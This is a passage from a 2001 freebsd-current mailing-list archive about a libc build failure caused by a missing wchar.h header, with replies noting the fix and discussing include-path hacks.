/usr/src/lib/libc/../libc/net/getnetbynis.c /usr/src/lib/libc/../libc/net/getnetnamadr.c /usr/src/lib/libc/../libc/net/getproto.c /usr/src/lib/libc/../libc/net/getprotoent.c /usr/src/lib/libc/../libc/net/getprotoname.c /usr/src/lib/libc/../libc/net/getservbyname.c /usr/src/lib/libc/../libc/net/getservbyport.c /usr/src/lib/libc/../libc/net/getservent.c /usr/src/lib/libc/../libc/net/herror.c /usr/src/lib/libc/../libc/net/hesiod.c /usr/src/lib/libc/../libc/net/inet_addr.c /usr/src/lib/libc/../libc/net/ifname.c /usr/src/lib/libc/../libc/net/inet_lnaof.c /usr/src/lib/libc/../libc/net/inet_makeaddr.c /usr/src/lib/libc/../libc/net/inet_net_ntop.c /usr/src/lib/libc/../libc/net/inet_net_pton.c /usr/src/lib/libc/../libc/net/inet_neta.c /usr/src/lib/libc/../libc/net/inet_netof.c /usr/src/lib/libc/../libc/net/inet_network.c! /usr/src/lib/libc/../libc/net/inet_ntoa.c /usr/src/lib/libc/../libc/net/inet_ntop.c /usr/src/lib/libc/../libc/net/inet_pton.c /usr/src/lib/libc/../libc/net/ip6opt.c /usr/src/lib/libc/../libc/net/linkaddr.c /usr/src/lib/libc/../libc/net/map_v4v6.c /usr/src/lib/libc/../libc/net/name6.c /usr/src/lib/libc/../libc/net/ns_addr.c /usr/src/lib/libc/../libc/net/ns_name.c /usr/src/lib/libc/../libc/net/ns_netint.c /usr/src/lib/libc/../libc/net/ns_ntoa.c /usr/src/lib/libc/../libc/net/ns_parse.c /usr/src/lib/libc/../libc/net/ns_print.c /usr/src/lib/libc/../libc/net/ns_ttl.c /usr/src/lib/libc/../libc/net/nsdispatch.c nslexer.c nsparser.c /usr/src/lib/libc/../libc/net/nsap_addr.c /usr/src/lib/libc/../libc/net/rcmd.c /usr/src/lib/libc/../libc/net/recv.c /usr/src/lib/libc/../libc/net/res_comp.c /usr/src/lib/libc/../libc/net/res_data.c /usr/src/lib/libc/../libc/net/res_debug.c /usr/src/lib/libc/../libc/net/res_init.c /usr/src/lib/libc/../libc/net/res_mkquery.c /usr/src/lib/libc/../libc/net/r! es_mkupdate.c /usr/src/lib/libc/../libc/net/res_query.c /usr/src/lib/libc/../libc/net/res_send.c /usr/src/lib/libc/../libc/net/res_update.c /usr/src/lib/libc/../libc/net/rthdr.c /usr/src/lib/libc/../libc/net/send.c /usr/src/lib/libc/../libc/net/vars.c /usr/src/lib/libc/../libc/nls/msgcat.c /usr/src/lib/libc/../libc/posix1e/acl_calc_mask.c /usr/src/lib/libc/../libc/posix1e/acl_copy.c /usr/src/lib/libc/../libc/posix1e/acl_delete.c /usr/src/lib/libc/../libc/posix1e/acl_delete_entry.c /usr/src/lib/libc/../libc/posix1e/acl_entry.c /usr/src/lib/libc/../libc/posix1e/acl_free.c /usr/src/lib/libc/../libc/posix1e/acl_from_text.c /usr/src/lib/libc/../libc/posix1e/acl_get.c /usr/src/lib/libc/../libc/posix1e/acl_init.c /usr/src/lib/libc/../libc/posix1e/acl_perm.c /usr/src/lib/libc/../libc/posix1e/acl_set.c /usr/src/lib/libc/../libc/posix1e/acl_support.c /usr/src/lib/libc/../libc/posix1e/acl_to_text.c /usr/src/lib/libc/../libc/posix1e/acl_valid.c /usr/src/lib/libc/../libc/posix1e/cap_clea! r.c /usr/src/lib/libc/../libc/posix1e/cap_dup.c /usr/src/lib/libc/../libc/posix1e/cap_free.c /usr/src/lib/libc/../libc/posix1e/cap_get_fd.c /usr/src/lib/libc/../libc/posix1e/cap_get_file.c /usr/src/lib/libc/../libc/posix1e/cap_get_flag.c /usr/src/lib/libc/../libc/posix1e/cap_get_proc.c /usr/src/lib/libc/../libc/posix1e/cap_init.c /usr/src/lib/libc/../libc/posix1e/cap_set_fd.c /usr/src/lib/libc/../libc/posix1e/cap_set_file.c /usr/src/lib/libc/../libc/posix1e/cap_set_flag.c /usr/src/lib/libc/../libc/posix1e/cap_set_proc.c /usr/src/lib/libc/../libc/posix1e/cap_text.c /usr/src/lib/libc/../libc/quad/cmpdi2.c /usr/src/lib/libc/../libc/quad/divdi3.c /usr/src/lib/libc/../libc/quad/moddi3.c /usr/src/lib/libc/../libc/quad/qdivrem.c /usr/src/lib/libc/../libc/quad/ucmpdi2.c /usr/src/lib/libc/../libc/quad/udivdi3.c /usr/src/lib/libc/../libc/quad/umoddi3.c /usr/src/lib/libc/../libc/regex/regcomp.c /usr/src/lib/libc/../libc/regex/regerror.c /usr/src/lib/libc/../libc/regex/regexec.c /usr/sr! c/lib/libc/../libc/regex/regfree.c /usr/src/lib/libc/../libc/stdio/_flock_stub.c /usr/src/lib/libc/../libc/stdio/asprintf.c /usr/src/lib/libc/../libc/stdio/clrerr.c /usr/src/lib/libc/../libc/stdio/fclose.c /usr/src/lib/libc/../libc/stdio/fdopen.c /usr/src/lib/libc/../libc/stdio/feof.c /usr/src/lib/libc/../libc/stdio/ferror.c /usr/src/lib/libc/../libc/stdio/fflush.c /usr/src/lib/libc/../libc/stdio/fgetc.c /usr/src/lib/libc/../libc/stdio/fgetln.c /usr/src/lib/libc/../libc/stdio/fgetpos.c /usr/src/lib/libc/../libc/stdio/fgets.c /usr/src/lib/libc/../libc/stdio/fileno.c /usr/src/lib/libc/../libc/stdio/findfp.c /usr/src/lib/libc/../libc/stdio/flags.c /usr/src/lib/libc/../libc/stdio/fopen.c /usr/src/lib/libc/../libc/stdio/fprintf.c /usr/src/lib/libc/../libc/stdio/fpurge.c /usr/src/lib/libc/../libc/stdio/fputc.c /usr/src/lib/libc/../libc/stdio/fputs.c /usr/src/lib/libc/../libc/stdio/fread.c /usr/src/lib/libc/../libc/stdio/freopen.c /usr/src/lib/libc/../libc/stdio/fscanf.c /usr/src/l! ib/libc/../libc/stdio/fseek.c /usr/src/lib/libc/../libc/stdio/fsetpos.c /usr/src/lib/libc/../libc/stdio/ftell.c /usr/src/lib/libc/../libc/stdio/funopen.c /usr/src/lib/libc/../libc/stdio/fvwrite.c /usr/src/lib/libc/../libc/stdio/fwalk.c /usr/src/lib/libc/../libc/stdio/fwrite.c /usr/src/lib/libc/../libc/stdio/getc.c /usr/src/lib/libc/../libc/stdio/getchar.c /usr/src/lib/libc/../libc/stdio/gets.c /usr/src/lib/libc/../libc/stdio/getw.c /usr/src/lib/libc/../libc/stdio/makebuf.c /usr/src/lib/libc/../libc/stdio/mktemp.c /usr/src/lib/libc/../libc/stdio/perror.c /usr/src/lib/libc/../libc/stdio/printf.c /usr/src/lib/libc/../libc/stdio/putc.c /usr/src/lib/libc/../libc/stdio/putchar.c /usr/src/lib/libc/../libc/stdio/puts.c /usr/src/lib/libc/../libc/stdio/putw.c /usr/src/lib/libc/../libc/stdio/refill.c /usr/src/lib/libc/../libc/stdio/remove.c /usr/src/lib/libc/../libc/stdio/rewind.c /usr/src/lib/libc/../libc/stdio/rget.c /usr/src/lib/libc/../libc/stdio/scanf.c /usr/src/lib/libc/../libc/s! tdio/setbuf.c /usr/src/lib/libc/../libc/stdio/setbuffer.c /usr/src/lib/libc/../libc/stdio/setvbuf.c /usr/src/lib/libc/../libc/stdio/snprintf.c /usr/src/lib/libc/../libc/stdio/sprintf.c /usr/src/lib/libc/../libc/stdio/sscanf.c /usr/src/lib/libc/../libc/stdio/stdio.c /usr/src/lib/libc/../libc/stdio/tempnam.c /usr/src/lib/libc/../libc/stdio/tmpfile.c /usr/src/lib/libc/../libc/stdio/tmpnam.c /usr/src/lib/libc/../libc/stdio/ungetc.c /usr/src/lib/libc/../libc/stdio/vasprintf.c /usr/src/lib/libc/../libc/stdio/vfprintf.c /usr/src/lib/libc/../libc/stdio/vfscanf.c /usr/src/lib/libc/../libc/stdio/vprintf.c /usr/src/lib/libc/../libc/stdio/vscanf.c /usr/src/lib/libc/../libc/stdio/vsnprintf.c /usr/src/lib/libc/../libc/stdio/vsprintf.c /usr/src/lib/libc/../libc/stdio/vsscanf.c /usr/src/lib/libc/../libc/stdio/wbuf.c /usr/src/lib/libc/../libc/stdio/wsetup.c /usr/src/lib/libc/../libc/stdlib/strtod.c /usr/src/lib/libc/../libc/stdtime/asctime.c /usr/src/lib/libc/../libc/stdtime/difftime.c /usr/! src/lib/libc/../libc/stdtime/localtime.c /usr/src/lib/libc/../libc/stdtime/strftime.c /usr/src/lib/libc/../libc/stdtime/strptime.c /usr/src/lib/libc/../libc/stdtime/timelocal.c /usr/src/lib/libc/../libc/i386/sys/i386_clr_watch.c /usr/src/lib/libc/../libc/i386/sys/i386_get_ioperm.c /usr/src/lib/libc/../libc/i386/sys/i386_get_ldt.c /usr/src/lib/libc/../libc/i386/sys/i386_set_ioperm.c /usr/src/lib/libc/../libc/i386/sys/i386_set_ldt.c /usr/src/lib/libc/../libc/i386/sys/i386_set_watch.c /usr/src/lib/libc/../libc/i386/sys/i386_vm86.c /usr/src/lib/libc/../libc/sys/ftruncate.c /usr/src/lib/libc/../libc/sys/lseek.c /usr/src/lib/libc/../libc/sys/mmap.c /usr/src/lib/libc/../libc/sys/pread.c /usr/src/lib/libc/../libc/sys/pwrite.c /usr/src/lib/libc/../libc/sys/truncate.c /usr/src/lib/libc/../libc/sys/__error.c /usr/src/lib/libc/../libc/rpc/auth_none.c /usr/src/lib/libc/../libc/rpc/auth_unix.c /usr/src/lib/libc/../libc/rpc/authunix_prot.c /usr/src/lib/libc/../libc/rpc/bindresvport.c /usr/! src/lib/libc/../libc/rpc/clnt_bcast.c /usr/src/lib/libc/../libc/rpc/clnt_dg.c /usr/src/lib/libc/../libc/rpc/clnt_generic.c /usr/src/lib/libc/../libc/rpc/clnt_perror.c /usr/src/lib/libc/../libc/rpc/clnt_raw.c /usr/src/lib/libc/../libc/rpc/clnt_simple.c /usr/src/lib/libc/../libc/rpc/clnt_vc.c /usr/src/lib/libc/../libc/rpc/rpc_dtablesize.c /usr/src/lib/libc/../libc/rpc/getnetconfig.c /usr/src/lib/libc/../libc/rpc/getnetpath.c /usr/src/lib/libc/../libc/rpc/getrpcent.c /usr/src/lib/libc/../libc/rpc/getrpcport.c /usr/src/lib/libc/../libc/rpc/mt_misc.c /usr/src/lib/libc/../libc/rpc/pmap_clnt.c /usr/src/lib/libc/../libc/rpc/pmap_getmaps.c /usr/src/lib/libc/../libc/rpc/pmap_getport.c /usr/src/lib/libc/../libc/rpc/pmap_prot.c /usr/src/lib/libc/../libc/rpc/pmap_prot2.c /usr/src/lib/libc/../libc/rpc/pmap_rmt.c /usr/src/lib/libc/../libc/rpc/rpc_prot.c /usr/src/lib/libc/../libc/rpc/rpc_commondata.c /usr/src/lib/libc/../libc/rpc/rpc_callmsg.c /usr/src/lib/libc/../libc/rpc/rpc_generic.c /us! r/src/lib/libc/../libc/rpc/rpc_soc.c /usr/src/lib/libc/../libc/rpc/rpcb_clnt.c /usr/src/lib/libc/../libc/rpc/rpcb_prot.c /usr/src/lib/libc/../libc/rpc/rpcb_st_xdr.c /usr/src/lib/libc/../libc/rpc/svc.c /usr/src/lib/libc/../libc/rpc/svc_auth.c /usr/src/lib/libc/../libc/rpc/svc_dg.c /usr/src/lib/libc/../libc/rpc/svc_auth_unix.c /usr/src/lib/libc/../libc/rpc/svc_generic.c /usr/src/lib/libc/../libc/rpc/svc_raw.c /usr/src/lib/libc/../libc/rpc/svc_run.c /usr/src/lib/libc/../libc/rpc/svc_simple.c /usr/src/lib/libc/../libc/rpc/svc_vc.c /usr/src/lib/libc/../libc/xdr/xdr.c /usr/src/lib/libc/../libc/xdr/xdr_array.c /usr/src/lib/libc/../libc/xdr/xdr_float.c /usr/src/lib/libc/../libc/xdr/xdr_mem.c /usr/src/lib/libc/../libc/xdr/xdr_rec.c /usr/src/lib/libc/../libc/xdr/xdr_reference.c /usr/src/lib/libc/../libc/xdr/xdr_stdio.c /usr/src/lib/libc/../libc/rpc/auth_time.c /usr/src/lib/libc/../libc/rpc/auth_des.c /usr/src/lib/libc/../libc/rpc/authdes_prot.c /usr/src/lib/libc/../libc/rpc/des_crypt.! c /usr/src/lib/libc/../libc/rpc/des_soft.c /usr/src/lib/libc/../libc/rpc/crypt_client.c /usr/src/lib/libc/../libc/rpc/key_call.c /usr/src/lib/libc/../libc/rpc/key_prot_xdr.c /usr/src/lib/libc/../libc/rpc/getpublickey.c /usr/src/lib/libc/../libc/rpc/svc_auth_des.c /usr/src/lib/libc/../libc/rpc/netname.c /usr/src/lib/libc/../libc/rpc/netnamer.c /usr/src/lib/libc/../libc/rpc/rpcdname.c /usr/src/lib/libc/../libc/rpc/rtime.c crypt_clnt.c crypt_xdr.c /usr/src/lib/libc/../libc/yp/xdryp.c yp_xdr.c /usr/src/lib/libc/../libc/yp/yplib.c /usr/src/lib/libc/../libc/stdlib/abort.c /usr/src/lib/libc/../libc/stdlib/atexit.c /usr/src/lib/libc/../libc/stdlib/atof.c /usr/src/lib/libc/../libc/stdlib/atoi.c /usr/src/lib/libc/../libc/stdlib/atol.c /usr/src/lib/libc/../libc/stdlib/bsearch.c /usr/src/lib/libc/../libc/stdlib/calloc.c /usr/src/lib/libc/../libc/stdlib/exit.c /usr/src/lib/libc/../libc/stdlib/getenv.c /usr/src/lib/libc/../libc/stdlib/getopt.c /usr/src/lib/libc/../libc/stdlib/getsubopt.c ! /usr/src/lib/libc/../libc/stdlib/hcreate.c /usr/src/lib/libc/../libc/stdlib/heapsort.c /usr/src/lib/libc/../libc/stdlib/malloc.c /usr/src/lib/libc/../libc/stdlib/merge.c /usr/src/lib/libc/../libc/stdlib/putenv.c /usr/src/lib/libc/../libc/stdlib/qsort.c /usr/src/lib/libc/../libc/stdlib/radixsort.c /usr/src/lib/libc/../libc/stdlib/rand.c /usr/src/lib/libc/../libc/stdlib/random.c /usr/src/lib/libc/../libc/stdlib/reallocf.c /usr/src/lib/libc/../libc/stdlib/realpath.c /usr/src/lib/libc/../libc/stdlib/setenv.c /usr/src/lib/libc/../libc/stdlib/strhash.c /usr/src/lib/libc/../libc/stdlib/strtol.c /usr/src/lib/libc/../libc/stdlib/strtoll.c /usr/src/lib/libc/../libc/stdlib/strtoq.c /usr/src/lib/libc/../libc/stdlib/strtoul.c /usr/src/lib/libc/../libc/stdlib/strtoull.c /usr/src/lib/libc/../libc/stdlib/strtouq.c /usr/src/lib/libc/../libc/stdlib/system.c /usr/src/lib/libc/../libc/stdlib/tdelete.c /usr/src/lib/libc/../libc/stdlib/tfind.c /usr/src/lib/libc/../libc/stdlib/tsearch.c /usr/src/l! ib/libc/../libc/stdlib/twalk.c /usr/src/lib/libc/../libc/string/memccpy.c /usr/src/lib/libc/../libc/string/strcasecmp.c /usr/src/lib/libc/../libc/string/strcoll.c /usr/src/lib/libc/../libc/string/strcspn.c /usr/src/lib/libc/../libc/string/strdup.c /usr/src/lib/libc/../libc/string/strerror.c /usr/src/lib/libc/../libc/string/strlcat.c /usr/src/lib/libc/../libc/string/strlcpy.c /usr/src/lib/libc/../libc/string/strmode.c /usr/src/lib/libc/../libc/string/strncat.c /usr/src/lib/libc/../libc/string/strncpy.c /usr/src/lib/libc/../libc/string/strpbrk.c /usr/src/lib/libc/../libc/string/strsep.c /usr/src/lib/libc/../libc/string/strsignal.c /usr/src/lib/libc/../libc/string/strspn.c /usr/src/lib/libc/../libc/string/strstr.c /usr/src/lib/libc/../libc/string/strtok.c /usr/src/lib/libc/../libc/string/strxfrm.c /usr/src/lib/libc/../libc/string/wcscat.c /usr/src/lib/libc/../libc/string/wcschr.c /usr/src/lib/libc/../libc/string/wcscmp.c /usr/src/lib/libc/../libc/string/wcscpy.c /usr/src/lib/li! bc/../libc/string/wcscspn.c /usr/src/lib/libc/../libc/string/wcslcat.c /usr/src/lib/libc/../libc/string/wcslcpy.c /usr/src/lib/libc/../libc/string/wcslen.c /usr/src/lib/libc/../libc/string/wcsncat.c /usr/src/lib/libc/../libc/string/wcsncmp.c /usr/src/lib/libc/../libc/string/wcsncpy.c /usr/src/lib/libc/../libc/string/wcspbrk.c /usr/src/lib/libc/../libc/string/wcsrchr.c /usr/src/lib/libc/../libc/string/wcsspn.c /usr/src/lib/libc/../libc/string/wcsstr.c /usr/src/lib/libc/../libc/string/wmemchr.c /usr/src/lib/libc/../libc/string/wmemcmp.c /usr/src/lib/libc/../libc/string/wmemcpy.c /usr/src/lib/libc/../libc/string/wmemmove.c /usr/src/lib/libc/../libc/string/wmemset.c /usr/src/lib/libc/../libc/string/wcscat.c:38: wchar.h: No such file or directory /usr/src/lib/libc/../libc/string/wcschr.c:39: wchar.h: No such file or directory /usr/src/lib/libc/../libc/string/wcscmp.c:51: wchar.h: No such file or directory /usr/src/lib/libc/../libc/string/wcscpy.c:39: wchar.h: No such file or directory /usr/src/lib/libc/../libc/string/wcscspn.c:39: wchar.h: No such file or directory /usr/src/lib/libc/../libc/string/wcslcat.c:40: wchar.h: No such file or directory /usr/src/lib/libc/../libc/string/wcslcpy.c:40: wchar.h: No such file or directory /usr/src/lib/libc/../libc/string/wcslen.c:39: wchar.h: No such file or directory /usr/src/lib/libc/../libc/string/wcsncat.c:39: wchar.h: No such file or directory ... /usr/src/lib/libc/../libc/string/wmemmove.c:40: wchar.h: No such file or directory /usr/src/lib/libc/../libc/string/wmemset.c:39: wchar.h: No such file or directory mkdep: compile failed *** Error code 1 Stop in /usr/src/lib/libc. *** Error code 1 This on: FreeBSD dhcp-133.catwhisker.org 5.0-CURRENT FreeBSD 5.0-CURRENT #66: Tue May 15 12:04:09 PDT 2001 root@localhost:/common/C/obj/usr/src/sys/LAPTOP_30W i386 Recent CVSup history: CVSup begin from cvsup14.freebsd.org at Tue May 15 03:47:00 PDT 2001 CVSup ended from cvsup14.freebsd.org at Tue May 15 03:52:15 PDT 2001 CVSup begin from cvsup14.freebsd.org at Wed May 16 03:47:01 PDT 2001 CVSup ended from cvsup14.freebsd.org at Wed May 16 03:52:26 PDT 2001 I suppose I could manually copy wchar.h over, but that seems rather worse than merely "unsporting". :-} Cheers, david -- David H. Wolfskill david@catwhisker.org As a computing professional, I believe it would be unethical for me to advise, recommend, or support the use (save possibly for personal amusement) of any product that is or depends on any Microsoft product. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 7:51:14 2001 Delivered-To: freebsd-current@freebsd.org Received: from bunrab.catwhisker.org (adsl-63-193-123-122.dsl.snfc21.pacbell.net [63.193.123.122]) by hub.freebsd.org (Postfix) with ESMTP id F186137B424; Wed, 16 May 2001 07:51:11 -0700 (PDT) (envelope-from david@catwhisker.org) Received: (from david@localhost) by bunrab.catwhisker.org (8.10.0/8.10.0) id f4GEp3S80654; Wed, 16 May 2001 07:51:03 -0700 (PDT) Date: Wed, 16 May 2001 07:51:03 -0700 (PDT) From: David Wolfskill Message-Id: <200105161451.f4GEp3S80654@bunrab.catwhisker.org> To: current@FreeBSD.ORG, david@catwhisker.org Subject: Re: Shouldn't wchar.h get copied somewhere during build? Cc: tshiozak@FreeBSD.ORG In-Reply-To: <200105161446.f4GEk4U80618@bunrab.catwhisker.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [Yeah, I talk to myself, too.... dhw] Forgot to add: dhcp-133[7] cd /usr/obj dhcp-133[8] find . -name wchar.h -print dhcp-133[9] cd ../src dhcp-133[10] find . -name wchar.h -print ./include/wchar.h dhcp-133[11] After all, that's the part that inspired the Subject:. Cheers, david -- David H. Wolfskill david@catwhisker.org As a computing professional, I believe it would be unethical for me to advise, recommend, or support the use (save possibly for personal amusement) of any product that is or depends on any Microsoft product. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 7:53:40 2001 Delivered-To: freebsd-current@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id 9085B37B43F; Wed, 16 May 2001 07:53:28 -0700 (PDT) (envelope-from bde@zeta.org.au) Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102]) by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id AAA22821; Thu, 17 May 2001 00:53:17 +1000 Date: Thu, 17 May 2001 00:51:59 +1000 (EST) From: Bruce Evans X-Sender: bde@besplex.bde.org To: Warner Losh Cc: Ruslan Ermilov , Maxim Sobolev , cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org Subject: Re: cvs commit: src Makefile.inc1 In-Reply-To: <200105160751.f4G7pqN77048@harmony.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 16 May 2001, Warner Losh wrote: > In message <20010516101947.B23288@sunbay.com> Ruslan Ermilov writes: > : FWIW, my gross hack to usr.sbin/kbdcontrol also worked: > > I tend to dislike adding ../../sys to the includes list since they > might not be compatible with the host's sys files used to build libc. I'd like to remove all the existing ones. They are a hack to handle the case where you haven't bootstrapped properly. They intentionally give includes which may be incompatible with the host ones, in case the host ones are out of date relative to the src tree. This depends on only a few headers like being out of date, and sometimes helps mainly for headers like which declare system structures that are groped in by userland. But it is just a bug in general. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 7:56: 9 2001 Delivered-To: freebsd-current@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id 9691737B422; Wed, 16 May 2001 07:53:05 -0700 (PDT) (envelope-from ru@whale.sunbay.crimea.ua) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.2/8.11.2) id f4GEpqh74596; Wed, 16 May 2001 17:51:52 +0300 (EEST) (envelope-from ru) Date: Wed, 16 May 2001 17:51:52 +0300 From: Ruslan Ermilov To: David Wolfskill Cc: current@FreeBSD.ORG, tshiozak@FreeBSD.ORG Subject: Re: Shouldn't wchar.h get copied somewhere during build? Message-ID: <20010516175152.A74313@sunbay.com> Mail-Followup-To: David Wolfskill , current@FreeBSD.ORG, tshiozak@FreeBSD.ORG References: <200105161446.f4GEk4U80618@bunrab.catwhisker.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable User-Agent: Mutt/1.2.5i In-Reply-To: <200105161446.f4GEk4U80618@bunrab.catwhisker.org>; from david@catwhisker.org on Wed, May 16, 2001 at 07:46:04AM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Already fixed in src/include/Makefile,v 1.134. On Wed, May 16, 2001 at 07:46:04AM -0700, David Wolfskill wrote: > Looks as if /usr/src/include/wchar.h isn't getting copied to a place where > it actually gets used during the build. From this morning's -CURRENT > (CVSup trivia follows the log): >=20 > >>> stage 4: populating /usr/obj/usr/src/i386/usr/include > ... > >>> stage 4: building libraries > ... > =3D=3D=3D> libbind > ... > =3D=3D=3D> libc > ... > rm -f .depend > mkdep -f .depend -a -DLIBC_RCS -DSYSLIBC_RCS -I/usr/src/lib/libc/inclu= de -D__DBINTERFACE_PRIVATE -DINET6 -I/common/C/obj/usr/src/lib/libc -DPOSIX= _MISTAKE -I/usr/src/lib/libc/../libc/locale -DBROKEN_DES -DPORTMAP -DDES_BU= ILTIN -DYP -DHESIOD -I/usr/obj/usr/src/i386/usr/include -I/usr/src/lib/lib= c/i386 /usr/src/lib/libc/../libc/i386/gen/_setjmp.S /usr/src/lib/libc/../l= ibc/i386/gen/alloca.S /usr/src/lib/libc/../libc/i386/gen/fabs.S /usr/src/li= b/libc/../libc/i386/gen/modf.S /usr/src/lib/libc/../libc/i386/gen/rfork_thr= ead.S /usr/src/lib/libc/../libc/i386/gen/setjmp.S /usr/src/lib/libc/../libc= /i386/gen/sigsetjmp.S /usr/src/lib/libc/../libc/i386/net/htonl.S /usr/src/l= ib/libc/../libc/i386/net/htons.S /usr/src/lib/libc/../libc/i386/net/ntohl.S= /usr/src/lib/libc/../libc/i386/net/ntohs.S /usr/src/lib/libc/../libc/i386/= sys/Ovfork.S /usr/src/lib/libc/../libc/i386/sys/brk.S /usr/src/lib/libc/../= libc/i386/sys/cerror.S /usr/src/lib/libc/../libc/i386/sys/exect.S /usr/src/= lib/libc/../libc! > /i386/sys/fork.S /usr/src/lib/libc/../libc/i386/sys/pipe.S /usr/src/lib/l= ibc/../libc/i386/sys/ptrace.S /usr/src/lib/libc/../libc/i386/sys/reboot.S /= usr/src/lib/libc/../libc/i386/sys/rfork.S /usr/src/lib/libc/../libc/i386/sy= s/sbrk.S /usr/src/lib/libc/../libc/i386/sys/setlogin.S /usr/src/lib/libc/..= /libc/i386/sys/sigreturn.S /usr/src/lib/libc/../libc/i386/sys/syscall.S rea= d.S write.S open.S close.S wait4.S link.S unlink.S chdir.S fchdir.S mknod.S= chmod.S chown.S getfsstat.S getpid.S mount.S unmount.S setuid.S getuid.S g= eteuid.S recvmsg.S sendmsg.S recvfrom.S accept.S getpeername.S getsockname.= S access.S chflags.S fchflags.S sync.S kill.S getppid.S dup.S getegid.S pro= fil.S ktrace.S getgid.S acct.S sigaltstack.S ioctl.S revoke.S symlink.S rea= dlink.S execve.S umask.S chroot.S msync.S vadvise.S munmap.S mprotect.S mad= vise.S mincore.S getgroups.S setgroups.S getpgrp.S setpgid.S setitimer.S sw= apon.S getitimer.S getdtablesize.S dup2.S fcntl.S select.S fsync.S setprior= ity.S socket.S c! > onnect.S getpriority.S bind.S setsockopt.S listen.S gettimeofday.S getrus= age.S getsockopt.S readv.S writev.S settimeofday.S fchown.S fchmod.S setreu= id.S setregid.S rename.S flock.S mkfifo.S sendto.S shutdown.S socketpair.S = mkdir.S rmdir.S utimes.S adjtime.S setsid.S quotactl.S nfssvc.S statfs.S fs= tatfs.S getfh.S sysarch.S rtprio.S semsys.S msgsys.S shmsys.S ntp_adjtime.S= setgid.S setegid.S seteuid.S stat.S fstat.S lstat.S pathconf.S fpathconf.S= getrlimit.S setrlimit.S getdirentries.S __syscall.S __sysctl.S mlock.S mun= lock.S undelete.S futimes.S getpgid.S poll.S clock_gettime.S clock_settime.= S clock_getres.S nanosleep.S minherit.S issetugid.S lchown.S getdents.S lch= mod.S netbsd_lchown.S lutimes.S netbsd_msync.S nstat.S nfstat.S nlstat.S fh= statfs.S fhopen.S fhstat.S modnext.S modstat.S modfnext.S modfind.S kldload= .S kldunload.S kldfind.S kldnext.S kldstat.S kldfirstmod.S getsid.S setresu= id.S setresgid.S aio_return.S aio_suspend.S aio_cancel.S aio_error.S aio_re= ad.S aio_write.S! > lio_listio.S __getcwd.S sched_setparam.S sched_getparam.S sched_setsched= uler.S sched_getscheduler.S sched_yield.S sched_get_priority_max.S sched_ge= t_priority_min.S sched_rr_get_interval.S utrace.S sendfile.S kldsym.S jail.= S sigprocmask.S sigsuspend.S sigaction.S sigpending.S __acl_get_file.S __ac= l_set_file.S __acl_get_fd.S __acl_set_fd.S __acl_delete_file.S __acl_delete= _fd.S __acl_aclcheck_file.S __acl_aclcheck_fd.S extattrctl.S extattr_set_fi= le.S extattr_get_file.S extattr_delete_file.S aio_waitcomplete.S getresuid.= S getresgid.S kqueue.S kevent.S __cap_get_proc.S __cap_set_proc.S __cap_get= _fd.S __cap_get_file.S __cap_set_fd.S __cap_set_file.S extattr_set_fd.S ext= attr_get_fd.S extattr_delete_fd.S __setugid.S _getlogin.S _exit.S /usr/src/= lib/libc/../libc/i386/stdlib/abs.S /usr/src/lib/libc/../libc/i386/stdlib/di= v.S /usr/src/lib/libc/../libc/i386/stdlib/labs.S /usr/src/lib/libc/../libc/= i386/stdlib/ldiv.S /usr/src/lib/libc/../libc/i386/string/bcmp.S /usr/src/li= b/libc/../libc/i! > 386/string/bcopy.S /usr/src/lib/libc/../libc/i386/string/bzero.S /usr/src= /lib/libc/../libc/i386/string/ffs.S /usr/src/lib/libc/../libc/i386/string/i= ndex.S /usr/src/lib/libc/../libc/i386/string/memchr.S /usr/src/lib/libc/../= libc/i386/string/memcmp.S /usr/src/lib/libc/../libc/i386/string/memcpy.S /u= sr/src/lib/libc/../libc/i386/string/memmove.S /usr/src/lib/libc/../libc/i38= 6/string/memset.S /usr/src/lib/libc/../libc/i386/string/rindex.S /usr/src/l= ib/libc/../libc/i386/string/strcat.S /usr/src/lib/libc/../libc/i386/string/= strchr.S /usr/src/lib/libc/../libc/i386/string/strcmp.S /usr/src/lib/libc/.= ./libc/i386/string/strcpy.S /usr/src/lib/libc/../libc/i386/string/strlen.S = /usr/src/lib/libc/../libc/i386/string/strncmp.S /usr/src/lib/libc/../libc/i= 386/string/strrchr.S /usr/src/lib/libc/../libc/i386/string/swab.S > mkdep -f .depend -a -DLIBC_RCS -DSYSLIBC_RCS -I/usr/src/lib/libc/inclu= de -D__DBINTERFACE_PRIVATE -DINET6 -I/common/C/obj/usr/src/lib/libc -DPOSIX= _MISTAKE -I/usr/src/lib/libc/../libc/locale -DBROKEN_DES -DPORTMAP -DDES_BU= ILTIN -DYP -DHESIOD -I/usr/obj/usr/src/i386/usr/include /usr/src/lib/libc/= ../libc/db/btree/bt_close.c /usr/src/lib/libc/../libc/db/btree/bt_conv.c /u= sr/src/lib/libc/../libc/db/btree/bt_debug.c /usr/src/lib/libc/../libc/db/bt= ree/bt_delete.c /usr/src/lib/libc/../libc/db/btree/bt_get.c /usr/src/lib/li= bc/../libc/db/btree/bt_open.c /usr/src/lib/libc/../libc/db/btree/bt_overflo= w.c /usr/src/lib/libc/../libc/db/btree/bt_page.c /usr/src/lib/libc/../libc/= db/btree/bt_put.c /usr/src/lib/libc/../libc/db/btree/bt_search.c 